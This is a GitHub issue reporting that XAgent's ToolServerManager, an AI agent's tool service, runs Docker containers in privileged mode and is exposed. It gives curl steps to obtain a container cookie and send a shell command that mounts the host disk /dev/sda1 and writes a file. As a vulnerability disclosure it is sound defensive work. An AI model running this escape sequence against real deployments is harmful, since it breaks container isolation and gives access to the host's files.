Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Docker Enabling Privileged Mode Causes Container Escapes #386

Open
ac0d3r opened this issue Feb 19, 2024 · 0 comments
Open

Docker Enabling Privileged Mode Causes Container Escapes #386

ac0d3r opened this issue Feb 19, 2024 · 0 comments
Labels
bug Something isn't working

Comments

@ac0d3r
Copy link

ac0d3r commented Feb 19, 2024

Issue Description / 问题描述

Docker Enabling Privileged Mode Causes Container Escapes.

Steps to Reproduce / 复现步骤

  1. Installation and startup XAgent
git clone https://github.com/OpenBMB/XAgent.git
docker-compose up -d
  1. Creating Tool Containers
curl -v --request POST 'http://localhost:8080/get_cookie'
...
< HTTP/1.1 200 OK
...
< set-cookie: node_id=6c2429b55a6e6xxxxxxxxxxx; Path=/; SameSite=lax
...

Extract container ID: set-cookie: node_id=6c2429b55a6e6xxxxxxxxxxx;

  1. Execute malicious command escape container
curl --request POST 'http://localhost:8080/execute_tool' --header 'Cookie: node_id={{Container ID}}' --header 'Content-Type: application/json' --data \
'{
    "tool_name":"shell_command_executor",
    "arguments":{"command":"mkdir test; mount /dev/sda1 test; echo hello > test/hello.txt"}
}'
image

Expected Behavior / 预期行为

  • Not expose the ToolServerManager service:
image

Environment / 环境信息

  • Operating System / 操作系统:CentOS Linux 7.9
  • Python Version / Python 版本:
  • Other Relevant Information / 其他相关信息:

Error Screenshots or Logs / 错误截图或日志

If possible, please provide relevant screenshots or logs of the error. / 如果可能,请提供相关的错误截图或日志文件。

Additional Notes / 其他备注

If you have any additional information or notes, please add them here. / 如果有其他补充信息,请在此处添加。

@ac0d3r ac0d3r added the bug Something isn't working label Feb 19, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug Something isn't working
Projects
None yet
Development

No branches or pull requests

1 participant